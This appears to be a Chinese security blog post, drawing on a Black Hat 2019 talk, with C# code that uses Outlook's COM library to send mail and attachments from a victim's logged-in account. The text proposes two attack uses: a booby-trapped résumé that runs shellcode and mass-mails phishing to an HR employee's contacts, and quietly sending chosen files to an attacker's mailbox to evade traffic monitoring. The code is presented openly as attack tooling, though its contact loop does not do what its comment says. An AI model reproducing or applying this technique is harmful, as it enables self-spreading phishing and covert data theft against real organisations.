以前老东家有个员工不小心点开了Emotet木马,不久后,全体员工收到了一封带有病毒附件的钓鱼邮件,发件人账号正式该员工的邮件账户。
最近在看Black Hat USA 2019大会 第一天的PPT,其中一篇主题《us-19-Joly-Hunting-For-Bugs-Catching-Dragons.pdf》
里面介绍了使用C#调用Outlook的COM库,并以当前登陆邮件账户,给指定邮箱发送邮件。
首先使用vs2013创建一个c# 控制台程序,然后添加引用outlook提供的com对象。
具体操作参考微软官方文档:https://support.microsoft.com/en-hk/help/310258/how-to-use-the-microsoft-outlook-object-library-to-retrieve-a-message
Program.cs代码:
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Reflection;
using Outlook = Microsoft.Office.Interop.Outlook;
using Microsoft.Office.Interop.Outlook;
namespace HBDemo
{
class Program
{
static void Main(string[] args)
{
var objOutlook = new Outlook.Application();
var accounts = objOutlook.Session.Accounts;
MailItem mic = (MailItem)(objOutlook.CreateItem(OlItemType.olMailItem));
mic.RTFBody = System.IO.File.ReadAllBytes(@"d:\test.rtf");
mic.Subject = "Important Email";
mic.Importance = OlImportance.olImportanceHigh;
mic.Attachments.Add(@"d:\test2.docx", OlAttachmentType.olOLE);
mic.MessageClass = "IPM.Document.Outlook.File.msg.15";
mic.To = "xxx@qq.com";
mic.Send();
}
}
}
以上代码运行后,会给指定的xxx@qq.com
邮箱发送一封带附件的邮件。
使用以下代码,可以给当前outlook账户下所有联系人发送邮件
// 给Outlook账户下所有联系人发送邮件
foreach(Account ac in accounts)
{
mic.SendUsingAccount = ac;
}
利用思路有两种:
1) 给HR发送一封简历附件,打开后自动执行shellcode,调用outlook的com对象,借用hr的邮箱账户给hr的所有联系人群发一封诱惑性标题的钓鱼邮件。
2) 回传数据,发送邮件时可以指定一个附件路径。 目标执行我们的程序后,可以把特定文件通过outlook邮件的方法传到黑客指定的接收邮箱,可以避免一些流量监控软件。
参考资料:
https://docs.microsoft.com/en-us/office/vba/api/outlook.mailitem.sendusingaccount
https://docs.microsoft.com/en-us/dotnet/api/microsoft.office.interop.outlook.mailitem
Blackhat USA 2019第一天PPT汇总:
链接:https://pan.baidu.com/s/1mX2Y0x5wQLjvBA9W0_4iTA
提取码:bcg5